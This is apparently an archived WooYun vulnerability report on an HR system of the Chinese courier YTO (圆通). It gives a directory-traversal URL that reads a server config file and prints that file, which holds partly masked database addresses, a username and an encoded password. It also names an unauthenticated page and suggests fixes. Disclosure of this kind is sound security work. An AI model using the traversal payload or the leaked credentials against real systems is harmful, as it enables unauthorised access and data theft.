当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104804

漏洞标题：圆通某系统存在敏感信息泄露和未授权访问（有案例）

相关厂商：圆通

漏洞作者： Mr.leo

提交时间：2015-03-30 18:17

修复时间：2015-05-15 09:58

公开时间：2015-05-15 09:58

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-30： 细节已通知厂商并且等待厂商处理中
2015-03-31： 厂商已经确认，细节仅向厂商公开
2015-04-10： 细节向核心白帽子及相关领域专家公开
2015-04-20： 细节向普通白帽子公开
2015-04-30： 细节向实习白帽子公开
2015-05-15： 细节向公众公开

简要描述：

圆通某系统存在敏感信息泄露和未授权访问（有案例）

详细说明：

前人经验 WooYun: 用友某系统任意文件读取
http://hr.f5.yto56.com.cn/hrss/ELTextFile.load.d?src=../../ierp/bin/prop.xml 圆通用友系统
泄露数据库ip、用户名、密码(信息已打码)

<?xml version="1.0" encoding='gb2312'?>
	<root>
		<enableHotDeploy>false</enableHotDeploy>
		<domain>
			<cluster>
				<name>ncCluster</name>
				<protocol>http</protocol>
				<mgr>
					<javaHome>./ufjdk</javaHome>
					<name>master</name>
					<jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs>
					<servicePort>8005</servicePort>
					<http>
						<address>hrapp2</address>
						<port>9081</port>
					</http>
					<https>
						<address>hrapp2</address>
						<port>9444</port>
					</https>
				</mgr>
				<peer>
					<javaHome>./ufjdk</javaHome>
					<name>ncMem01</name>
					<jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs>
					<servicePort>8005</servicePort>
					<http>
						<address>hrapp2</address>
						<port>9082</port>
					</http>
					<https>
						<address>hrapp2</address>
						<port>9445</port>
					</https>
				</peer>
				<peer>
					<javaHome>./ufjdk</javaHome>
					<name>ncMem03</name>
					<jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs>
					<servicePort>8005</servicePort>
					<http>
						<address>hrapp2</address>
						<port>9084</port>
					</http>
					<https>
						<address>hrapp2</address>
						<port>9447</port>
					</https>
				</peer>
				<peer>
					<javaHome>./ufjdk</javaHome>
					<name>ncMem02</name>
					<jvmArgs>-Xms512m -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=256m</jvmArgs>
					<servicePort>8005</servicePort>
					<http>
						<address>hrapp2</address>
						<port>9083</port>
					</http>
					<https>
						<address>hrapp2</address>
						<port>9446</port>
					</https>
				</peer>
			</cluster>
		</domain>
		<isEncode>true</isEncode>
		<internalServiceArray>
			<name>StartTomcat</name>
			<serviceClassName>nc.bs.tomcat.startup.BootStrapTomcatService</serviceClassName>
			<accessDemandRight>15</accessDemandRight>
			<startService>true</startService>
			<keyService>false</keyService>
			<serviceOptions>start|stop</serviceOptions>
		</internalServiceArray>
		<internalServiceArray>
			<name>EJB_SERVICE</name>
			<serviceClassName>nc.bs.mw.naming.EJBContainerService</serviceClassName>
			<accessDemandRight>15</accessDemandRight>
			<startService>true</startService>
			<keyService>false</keyService>
			<serviceOptions>start|stop</serviceOptions>
		</internalServiceArray>
		<TransactionManagerProxyClass>nc.bs.mw.tran.IerpTransactionManagerProxy</TransactionManagerProxyClass>
		<UserTransactionClass>nc.bs.mw.tran.IerpUserTransaction</UserTransactionClass>
		<TransactionManagerClass>nc.bs.mw.tran.IerpTransactionManager</TransactionManagerClass>
		<SqlDebugSetClass>nc.bs.mw.sql.UFSqlObject</SqlDebugSetClass>
		<XADataSourceClass>nc.bs.mw.ejbsql.IerpXADataSource</XADataSourceClass>
		<dataSource>
			<dataSourceName>yt_test</dataSourceName>
			<oidMark>V2</oidMark>
			<databaseUrl>jdbc:oracle:thin:@10.1.xx.xx:1521:ytohrdb</databaseUrl>
			<user>yt_test</user>
			<password>ciijfdeddhihebanjdddfijbaxxxxxx</password>
			<driverClassName>oracle.jdbc.OracleDriver</driverClassName>
			<databaseType>ORACLE10G</databaseType>
			<maxCon>50</maxCon>
			<minCon>10</minCon>
			<dataSourceClassName>nc.bs.mw.ejb.xares.IerpDataSource</dataSourceClassName>
			<xaDataSourceClassName>nc.bs.mw.ejb.xares.IerpXADataSource</xaDataSourceClassName>
			<conIncrement>0</conIncrement>
			<conInUse>0</conInUse>
			<conIdle>0</conIdle>
		</dataSource>
		<webServer>
			<name>webserver_1520189404</name>
			<address>10.1.xx.xx</address>
			<port>9080</port>
			<protocol>http</protocol>
		</webServer>
		<webServer>
			<name>webserver_1520189405</name>
			<address>10.1.xx.xx</address>
			<port>9443</port>
			<protocol>https</protocol>
		</webServer>
	</root>


未授权访问页面：http://hr.f5.yto56.com.cn/hrss/rm/RmPsnbasdoc.jsp
可参考 WooYun: 用友人力资源管理（e-HR）SQL注入漏洞（2枚） 注入参数，厂商自行检查一下，未深入。

漏洞证明：

已经证明

修复方案：

1，限制未授权目录
2，限制敏感信息配置文件

版权声明：转载请注明来源 Mr.leo@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-03-31 09:57

厂商回复：

非常感谢白帽子，我们已经开始整改了。

最新状态：

暂无